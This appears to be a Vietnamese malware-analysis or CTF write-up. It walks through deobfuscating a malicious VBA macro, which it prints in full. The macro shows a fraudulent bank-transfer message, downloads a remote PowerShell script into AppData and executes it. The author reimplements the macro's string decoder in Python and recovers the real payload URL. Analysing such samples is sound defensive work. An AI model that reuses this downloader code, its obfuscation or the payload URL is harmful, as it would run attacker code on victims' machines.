Dim ¤¸¿º«¡¬¡°µ²¢¹¾¿¡¼²¥¾®¨¶µ»¾«º½¼»ª²¢¾ª¤»¹¬»¾»¸¤µµ°¡§¬¿§¢¥§¥£¶¢¥©¨ As String
Dim §»¶¬¡¦¹³¾¸¸³££¹´´¸³¥¦´¢¹¥··£°¿²»º¶°°¥©²¢°¾ª«°©«®·½½··´®¹°µµ©½½§¥·°»¢¼¼´¡¦¡«¹ As String
Dim ¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ As Integer
¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ = Chr(50) + Chr(48) + Chr(48)
Set ¹·³«»½¦¨¬¢¸°¤¼¾£¬»¢¾´¢¢µ¾¡¥»»«·¸»µ´¾¼¶»²¥§©¥¥¾¿¼¿²µ°¤²£¹´¶§ = CreateObject("WScript.Shell")
¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ = ¹·³«»½¦¨¬¢¸°¤¼¾£¬»¢¾´¢¢µ¾¡¥»»«·¸»µ´¾¼¶»²¥§©¥¥¾¿¼¿²µ°¤²£¹´¶§.SpecialFolders("AppData")
Dim ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼
Dim ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦
Dim ¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬¯¨³³¿¯©¶
Dim ³§½¢º¹¸°¾»´¦§¢·¬»´¦³²¦¦·°¶¥°¯¾µ·§½µº¦¶»¹²¥¦¥·²¢¥³°§°¹¾¾£½©¼°¥«ª§¡¹¶° As Long
Dim ¥½µ©¡»¡·¤¼¶µ¢¾·½¼¾®¦»»¼¬§ª¦·°¹·³¹¸¤µ³³¡¢£§´¤´¹¨´¡¾¦¬°¹¦¼¥°¡³» As String
Dim ¿¨¡©§¾¡º·¼½µ¡®¾¥¼½«¹´¥¥¶²°»¤¡·»°¬£°¿¥§¬¸©º¢¾¥·´£¹¥¡½¬¸ª´º°»§¬¥¡£¢¦»·¶ As Long
Dim »¶ª¨½©ª¾»¼§µ¨®º¾¢°¦»»¬¥§»¡¬·»¥¾¥¤½°·¾¢²³¡¹¾³¢µ¾·¹«¬¸¼´³£¥°µ»«½°®¸ As String
Dim »´¦¾¨¶¶½»¿º©³¬µ³°¶¢µ¼²¢°·¸¤¾¨»£¼¡»¥¹¼¤·©©³¹§¾¸¢·¤·¼ºµ£· As Long
Dim ¹®µ´¾¥»³ºª´¡¹®¶¶®¦·³«¢¢¢¹µ¹½¸¦§¥§·°°¡µ¼¤¿©¦¸£¥¥¹¦¶¨¹«©§µ¡´²·°º¢·¡¸²µ¤°²³¯£«¶£ As String
Dim °»»¦¡½º®¤¼º¬³¤³º¸¶®¨½®©µ«¢´¾´··¦«º¬º°¥²ª¹«¿º¼£º·¦¢¬°¢¾§µ²° As String
Dim £©©³¶º©«®®·º¿¿°µ·¡º·«½ª¾¢¢µ¥¹¾²ª¤°¥©½®¥³µ¯¶¹¹´·¹³½²µ£²·¬·¿³¤¹´¨¢º§¯²¦ As Long
Dim ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬
Dim ²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥
Dim ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ As Integer
Dim ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²
Dim ®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©
¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ = 1
Range("A1").Value = ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("4BEiàiuP3x6¿QEi³")
Dim ½¹¢²°½¢¼¬µ¥¨³¹²¡£½¬¿´¥ºµ¢ª¥°¸¢¶«µ§¥°°¤µ¸µ¾¦°¹¾¥¹»»·¡¾²°£¬¼·´©·¡·©¾³§¦¤·¶¨¹º°¹©§©££»¥¡¢¾¤ As String
´¸®¢»¬«¢®¼¿¾«²¡»¦°´»·°º¥ª¡½½¤§»´ª§¥¸»®«¶¿¸¶¢³µ¶¾¿¼£²¡¾«¹¶¹§ºµº¦¶¹¦¨¸®¸§¹µ³¢£¯©¦¾·º£¼º²»¨®²¦¤¦·½»¶³ = "$x¿PÜ_jEPkEEiPÜ_6IE3P_i3PÛx¿²PàQBx²³_i³P3x6¿QEi³bPÜ_jEPkEEiPb³x#Eir" & vbCrLf & "ÒxP²E³²àEjEP³ÜEbEP3_³_(PÛx¿P_²EP²E7¿à²E3P³xP³²_ib0E²P@mmIP³xP³ÜEP0x##xÄàiuPk_iIP_66x¿i³Pi¿QkE²:P" & vbCrLf & "@m@m@mo@@§mmm" & vbCrLf & "g66x¿i³PÜx#3E²:PLu¿ÛEiPÒÜ_iÜP!xiu" & vbCrLf & "t_iI:PTtPt_iI"
½¹¢²°½¢¼¬µ¥¨³¹²¡£½¬¿´¥ºµ¢ª¥°¸¢¶«µ§¥°°¤µ¸µ¾¦°¹¾¥¹»»·¡¾²°£¬¼·´©·¡·©¾³§¦¤·¶¨¹º°¹©§©££»¥¡¢¾¤ = ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨(´¸®¢»¬«¢®¼¿¾«²¡»¦°´»·°º¥ª¡½½¤§»´ª§¥¸»®«¶¿¸¶¢³µ¶¾¿¼£²¡¾«¹¶¹§ºµº¦¶¹¦¨¸®¸§¹µ³¢£¯©¦¾·º£¼º²»¨®²¦¤¦·½»¶³)
MsgBox ½¹¢²°½¢¼¬µ¥¨³¹²¡£½¬¿´¥ºµ¢ª¥°¸¢¶«µ§¥°°¤µ¸µ¾¦°¹¾¥¹»»·¡¾²°£¬¼·´©·¡·©¾³§¦¤·¶¨¹º°¹©§©££»¥¡¢¾¤, vbInformation, ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("pEP3EEB#ÛP²Eu²E³P³xPài0x²QPÛx¿")
Dim ¢¶¸¡³·´®¨½¥¡¼»´§²¾½º¢¿°°¹¹££©´¢©¹ª¬»¡¡°º·«¶²¦¾²¦¹º¤¹¼»«»¬º¤¸½¥¹¬²§¶°¾·»§©¥ª As Date
Dim ¹»«´¾¹¡º¸¿°·¶¥µ¢µ¾²¦¥§¶¨´²½°·£®·»ª¡¬¬»½µ³©·»¾¤·¹¤µ®º¤¸§¶·¢·¹º££§¬¸ As Date
¢¶¸¡³·´®¨½¥¡¼»´§²¾½º¢¿°°¹¹££©´¢©¹ª¬»¡¡°º·«¶²¦¾²¦¹º¤¹¼»«»¬º¤¸½¥¹¬²§¶°¾·»§©¥ª = Date
¹»«´¾¹¡º¸¿°·¶¥µ¢µ¾²¦¥§¶¨´²½°·£®·»ª¡¬¬»½µ³©·»¾¤·¹¤µ®º¤¸§¶·¢·¹º££§¬¸ = DateSerial(2023, 6, 6)
If ¢¶¸¡³·´®¨½¥¡¼»´§²¾½º¢¿°°¹¹££©´¢©¹ª¬»¡¡°º·«¶²¦¾²¦¹º¤¹¼»«»¬º¤¸½¥¹¬²§¶°¾·»§©¥ª < ¹»«´¾¹¡º¸¿°·¶¥µ¢µ¾²¦¥§¶¨´²½°·£®·»ª¡¬¬»½µ³©·»¾¤·¹¤µ®º¤¸§¶·¢·¹º££§¬¸ Then
Set ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸² = CreateObject("microsoft.xmlhttp")
Set ²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥ = CreateObject("Shell.Application")
³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬ = ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ + ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("\k¿i6Ü_~Bb@")
³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².Open "get", ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"), FALSE
³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².send
´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦ = ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².responseBody
If ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².Status = 200 Then
Set ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼ = CreateObject("adodb.stream")
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Open
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Type = ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Write ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.SaveToFile ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬, ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ + ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Close
End If
²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥.Open (³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬)
Else
MsgBox '³P³²ÛP³xP²¿iPQEPk²x")
End If
End Sub
Mình change variable name bằng cơm ><, function đầu mình rename là function_1
, tuy nhiên mình chỉ mới change được 1 phần function1 là hết sức rồi, tuy nhiên mình lại phát hiện đoạn sau
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Set ²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥ = CreateObject("Shell.Application")
³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬ = ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ + ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("\k¿i6Ü_~Bb@")
³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².Open "get", ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"), FALSE
³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².send
´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦ = ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².responseBody
If ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².Status = 200 Then
Set ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼ = CreateObject("adodb.stream")
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Open
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Type = ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Write ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.SaveToFile ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬, ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ + ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Close
End If
²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥.Open (³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬)
Đổi tên biến ở đoạn này ta được
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
If var_1 < var_2 Then
Set var_3 = CreateObject("microsoft.xmlhttp")
Set var_4 = CreateObject("Shell.Application")
³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬ = ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ + function_1("\k¿i6Ü_~Bb@")
var_3.Open "get", function_1("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"), FALSE
var_3.send
´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦ = var_3.responseBody
If var_3.Status = 200 Then
Set var_4 = CreateObject("adodb.stream")
var_4.Open
var_4.Type = ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡
var_4.Write ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦
var_4.SaveToFile ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬, ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ + ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡
var_4.Close
End If
var_4.Open (³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬)
Else
MsgBox '³P³²ÛP³xP²¿iPQEPk²x")
End If
Đoạn này khả năng sẽ get 1 trang web nào đó. Như vậy khả năng hàm function1 sẽ decrypt ký tự trên thành một trang web, viết lại function_1
bằng python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def function_1(var1):
var2 = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
var3 = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ"
var6 = ""
for char in var1:
var4 = var2.find(char)
if var4 > -1:
var5 = var3[var4]
var6 += var5
else:
var6 += char
return var6
print(function_1("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"))
Có vẻ là đúng rồi :))
1
'https://gist.githubusercontent.com/bquanman/98da73d49faec0cbbdab02d4fd84adaa/raw/8de8b90981e667652b1a16f5caed364fdc311b77/a80sc012.ps1'
